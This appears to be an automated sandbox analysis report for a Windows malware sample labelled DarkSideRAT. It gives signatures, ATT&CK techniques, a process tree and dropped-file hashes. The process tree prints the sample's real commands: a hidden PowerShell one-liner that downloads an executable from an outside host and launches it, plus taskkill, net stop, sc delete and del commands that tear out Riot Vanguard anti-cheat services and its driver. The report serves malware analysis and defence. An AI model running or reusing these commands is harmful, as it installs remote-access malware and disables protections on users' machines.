Analysis

  • max time kernel
    148s
  • max time network
    134s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 10:02

General

  • Target
    2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe
  • Size 3.8MB
  • Sample261002-l2s29avfnc
  • SHA256 a2ec046b3e872d1aa526a58fde067e05277a492a898cb1d5b0f9f7a8c5b9287c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Stops running service(s) 4 TTPs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 10 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Kills process with taskkill 4 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4248
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c taskkill /F /IM vgc.exe /T
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3448
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM vgc.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5164
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_vPJusL' -OutFile $env:APPDATA\BK311194.exe; Start-Process -FilePath $env:APPDATA\BK311194.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3016
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_vPJusL' -OutFile $env:APPDATA\BK311194.exe; Start-Process -FilePath $env:APPDATA\BK311194.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2828
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_vPJusL' -OutFile $env:APPDATA\BK311194.exe; Start-Process -FilePath $env:APPDATA\BK311194.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Enumerates connected drives
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2100
          • C:\Users\Admin\AppData\Roaming\BK311194.exe
            "C:\Users\Admin\AppData\Roaming\BK311194.exe"
            5⤵
            • Executes dropped EXE
            PID:5276
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c taskkill /F /IM vgk.sys /T
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4092
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM vgk.sys /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4812
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c taskkill /F /IM vgtray.exe /T
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4952
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM vgtray.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:6060
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c taskkill /F /IM RiotClientServices.exe /T
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3400
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM RiotClientServices.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3704
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c net stop vgc /y
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:852
      • C:\Windows\system32\net.exe
        net stop vgc /y
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:464
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop vgc /y
          4⤵
            PID:912
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c net stop vgk /y
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3036
        • C:\Windows\system32\net.exe
          net stop vgk /y
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5580
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop vgk /y
            4⤵
              PID:5704
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c sc delete vgc
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1912
          • C:\Windows\system32\sc.exe
            sc delete vgc
            3⤵
            • Launches sc.exe
            PID:2408
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c sc delete vgk
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1816
          • C:\Windows\system32\sc.exe
            sc delete vgk
            3⤵
            • Launches sc.exe
            PID:5652
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c del /f /q "C:\Windows\System32\drivers\vgk.sys"
          2⤵
            PID:5868

        Network

              MITRE ATT&CK Enterprise v16

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              Downloads

              __PSScriptPolicyTest_svfyafrd.uqx.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_svfyafrd.uqx.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              BK311194.exe

              • Path C:\Users\Admin\AppData\Roaming\BK311194.exe
              • Size 67KB
              • SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/2100-8-0x00000240EDA20000-0x00000240EDA42000-memory.dmp